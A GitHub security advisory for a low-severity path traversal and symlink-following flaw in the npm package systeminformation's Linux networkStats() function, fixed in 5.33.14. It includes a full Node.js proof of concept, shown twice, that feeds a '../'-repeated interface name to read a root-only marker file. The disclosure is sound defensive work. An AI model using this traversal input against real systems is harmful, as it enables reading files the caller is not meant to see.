GHSA-4VJG-VX72-QQ4G
Vulnerability from github – Published: 2026-10-28 21:13 – Updated: 2026-10-28 21:13Summary
On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected result:
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "systeminformation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.33.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116673"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:13:50Z",
"nvd_published_at": "2026-10-27T17:16:59Z",
"severity": "LOW"
},
"details": "### Summary\n\nOn Linux, `systeminformation@5.33.13` builds `/sys/class/net/\u003ciface\u003e` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.\n\n### Details\n\nThe strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync(\u0027/sys/class/net/\u0027 + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.\n\nThe proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.\n\n### PoC\n\nUse a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:\n\n```sh\nmkdir si-netstats-repro\ncd si-netstats-repro\nnpm init -y\nnpm install systeminformation@5.33.13\n```\n\nSave the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027node:fs\u0027);\nconst { execFileSync } = require(\u0027node:child_process\u0027);\nconst si = require(\u0027systeminformation\u0027);\n\nconst root = `/tmp/si-netstats-${process.pid}`;\nconst secret = `/root/si-netstats-secret-${process.pid}`;\nconst marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;\nconst fixtureCode = `\n const fs = require(\u0027node:fs\u0027);\n const root = process.env.SI_FIXTURE_ROOT;\n const secret = process.env.SI_SECRET;\n fs.mkdirSync(root + \u0027/statistics\u0027, { recursive: true });\n for (const name of [\u0027rx_bytes\u0027, \u0027tx_bytes\u0027, \u0027rx_dropped\u0027, \u0027rx_errors\u0027, \u0027tx_dropped\u0027, \u0027tx_errors\u0027]) {\n fs.writeFileSync(root + \u0027/statistics/\u0027 + name, \u00270\\\\n\u0027);\n }\n fs.symlinkSync(secret, root + \u0027/operstate\u0027);\n`;\n\n(async () =\u003e {\n try {\n fs.writeFileSync(secret, marker + \u0027\\\\n\u0027, { mode: 0o600 });\n fs.chmodSync(secret, 0o600);\n\n execFileSync(\u0027runuser\u0027, [\n \u0027-u\u0027, \u0027nobody\u0027, \u0027--\u0027, \u0027env\u0027,\n `SI_FIXTURE_ROOT=${root}`,\n `SI_SECRET=${secret}`,\n process.execPath, \u0027-e\u0027, fixtureCode\n ], { stdio: \u0027inherit\u0027 });\n\n let nobodyCouldRead = true;\n try {\n execFileSync(\u0027runuser\u0027, [\u0027-u\u0027, \u0027nobody\u0027, \u0027--\u0027, \u0027cat\u0027, secret], { stdio: \u0027ignore\u0027 });\n } catch {\n nobodyCouldRead = false;\n }\n if (nobodyCouldRead) throw new Error(\u0027negative control failed: nobody read the marker\u0027);\n\n const iface = \u0027../\u0027.repeat(24) + root.slice(1);\n const rows = await si.networkStats(iface);\n const returned = String(rows[0]?.operstate ?? \u0027\u0027).trim();\n const success = returned === marker;\n\n console.log(JSON.stringify({\n nobodyCouldRead,\n libraryReturnedRootOnlyMarker: success,\n returnedOperstate: returned\n }, null, 2));\n\n if (!success) process.exitCode = 1;\n } finally {\n fs.rmSync(root, { recursive: true, force: true });\n fs.rmSync(secret, { force: true });\n }\n})().catch((error) =\u003e {\n console.error(error);\n process.exitCode = 1;\n});\n```\n\nExpected result:\n\n```json\n{\n \"nobodyCouldRead\": false,\n \"libraryReturnedRootOnlyMarker\": true,\n \"returnedOperstate\": \"SYNTHETIC_ROOT_ONLY_MARKER_\u003cpid\u003e\"\n}\n```\n\n### Impact\n\nThe demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.",
"id": "GHSA-4vjg-vx72-qq4g",
"modified": "2026-10-28T21:13:50Z",
"published": "2026-10-28T21:13:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116673"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd"
},
{
"type": "PACKAGE",
"url": "https://github.com/sebhildebrandt/systeminformation"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net"
}
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